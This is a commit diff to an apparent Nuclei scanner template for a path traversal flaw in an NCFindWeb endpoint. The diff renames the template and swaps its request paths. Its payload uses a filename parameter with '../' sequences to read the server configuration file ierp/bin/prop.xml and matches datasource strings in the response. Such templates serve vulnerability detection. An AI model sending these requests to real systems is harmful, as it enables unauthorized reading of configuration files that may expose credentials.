misc update

patch-1
PD-Team 2021-01-31 12:54:53 +05:30
parent ed4b717d65
commit 6101f8e537
2 changed files with 5 additions and 5 deletions

View File

@ -1,7 +1,7 @@
id: wooyun-path-traversal
info:
name: Wooyun-Path-Traversal
name: Wooyun Path Traversal
author: pikpikcu
severity: high
reference: https://wooyun.x10sec.org/static/bugs/wooyun-2015-0148227.html
@ -13,8 +13,7 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/../../../ierp/bin/prop.xml"
- "{{BaseURL}}/NCFindWeb?service=IPreAlertConfigService&filename=WEB-INF/web.xml"
- "{{BaseURL}}/NCFindWeb?service=IPreAlertConfigService&filename=../../ierp/bin/prop.xml"
matchers-condition: and
matchers:
@ -23,6 +22,7 @@ requests:
- 200
- type: word
words:
- "<servlet-name>NCInvokerServlet</servlet-name>"
- "<serviceClassName>nc.bs.tomcat.startup.BootStrapTomcatService</serviceClassName>"
- <DataSourceClassName>
- </DataSourceClassName>
part: body
condition: and